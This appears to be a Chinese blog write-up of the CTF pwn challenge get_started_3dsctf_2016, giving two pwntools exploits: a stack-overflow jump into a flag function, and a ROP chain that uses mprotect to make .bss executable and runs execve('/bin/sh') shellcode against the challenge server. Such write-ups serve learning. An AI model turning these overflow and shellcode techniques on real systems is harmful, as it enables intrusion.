题外:这道题不是很难,但是却难住了我很久。主要是在IDA中查看反编译出的伪代码时双击了一下gets()函数,结果进入gets函数内部,我当时就懵了,误以为这是一个自定义函数,但是自定义函数应该应该不能与已有的库函数同名啊。虽然有此疑问,我没有深究,而是老老实实分析反汇编出来的伪代码,结果发现函数层层嵌套,根本分析不完。最后我不得以去网上看了别人的题解,发现根本不用管这些。题最后做出来了,但还是不明白为啥会有这么一大串代码。

----------------------------------------------------------------------------------------------------

解法一:

先分析题目的二进制文件

可以看出这是32位程序,没有看cannary和PIE保护,接下来把程序放入IDA中看看。

程序很简单,存在明显的栈溢出。细心的小伙伴还可以发现程序直接给了一个拿flag的函数,如下:

但是这个函数中有if条件限制,不好直接跳转到这个函数。这个时候就可以选择直接跳转到if语句块里,从而绕过if的检查。这么的做的弊端是导致栈不平衡,执行完这个函数后程序会崩溃,不过这之前我们已经拿到flag了,所以这题是没有什么关系的。最后exp如下:

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
elf = ELF('./get_started_3dsctf_2016')
sh = elf.process()
get_flag = 0x080489b8
payload_01 = 'A'*0x38 + p32(get_flag)
gdb.attach(sh)
sh.sendline(payload_01)
sh.interactive('countfatcode> ')

这样写在本机上是能跑的,但是打远程的时候汇出错,我也不知道为什么。

解法二:

细心的小伙伴可以发现题目里有mprotect函数,这个函数可以改变程序内存空间的读写执行权限。具体的用法如下:

int mprotect(const void *start, size_t len, int prot);
参数start表示开始的内存地址,len是要操作的内存大小,prot表示权限

所以我们先用mrotect函数把.bss中的一部分改为可执行,用调用read函数向其中写入shellcode,最后再跳转到shellcode出执行。具体的exp如下:

from pwn import *
context(os = 'linux', arch = 'i386', log_level = 'debug')
context.terminal = ['tmux', 'splitw', '-h']
# p = process('./get_started_3dsctf_2016')
p = remote('node3.buuoj.cn', 25626) elf = ELF('./get_started_3dsctf_2016') mprotect_addr = 0x0806ec80
read_addr = elf.symbols['read']
pop3_addr = 0x080509a5
payload = 'A'*0x38 + p32(mprotect_addr) + p32(pop3_addr) + p32(0x080ea000) + p32(0x2000) + p32(0x7) + p32(read_addr) + p32(0x080eb000)
payload += p32(0) + p32(0x080eb000) + p32(0x100) #gdb.attach(p)
p.sendline(payload)
sleep(1) shellcode = asm('''
mov edx, 0
mov ecx, 0
push 0x68732f
push 0x6e69622f
mov ebx, esp
mov eax, 0xb
int 0x80
''')
p.sendline(shellcode)
p.interactive()

最新文章

  1. myaudio.duration为null的解决办法
  2. 2016年5月面试题(Unity&iOS)
  3. 使用Lamda生成函数
  4. eclipse插件Maven添加依赖查询无结果的解决方法(Select Dependency doesn't work)
  5. 彻底明白IP地址——IP地址的介绍
  6. PGA
  7. 从jQuery中学习来的另一种继承方式(技巧)
  8. debian下Vnc
  9. 微软TTS示例
  10. webpack性能优化——DLL
  11. enote笔记法(2)——why的使用
  12. springBoot系列教程05:fastjson的集成、配置及使用
  13. 事后诸葛亮——城市安全风险管理项目Postmortem结果
  14. USGS-EROS项目espa-surface-reflectance中的Landsat8 大气校正LaSRC Version 1.3.0模块利用vs2010编译出windows64位版本(四)
  15. vs2017 .net core 项目调试浏览器网页闪退Bug
  16. 一文读懂机器学习大杀器XGBoost原理
  17. react-native Execution failed for task ':app:prepareRnReduxReactNativeUpdateUnspecifiedLibrary'报错
  18. let,const 声明的变量不会绑定给window对象 而var会
  19. Win10系列:C#应用控件基础16
  20. Flex布局和Bootstrap布局两者的比较

热门文章

  1. C#LeetCode刷题-蓄水池抽样
  2. JavaScript Object初始化的不同方式
  3. chaos;head移植版缺失python27.dll SDL2.dll问题解决
  4. 学长小清新题表之UOJ 31.猪猪侠再战括号序列
  5. 遗传算法框架-基于java jenetics库实现
  6. 无法将“vue”项识别为 cmdlet、函数、脚本文件或可运行程序的名称
  7. 4.oracle sql*plus常用命令
  8. 关于c++11 memory order的理解
  9. .NET 数据库事务的各种玩法进化
  10. 【趣味设计模式系列】之【代理模式3--Cglib动态代理源码解析】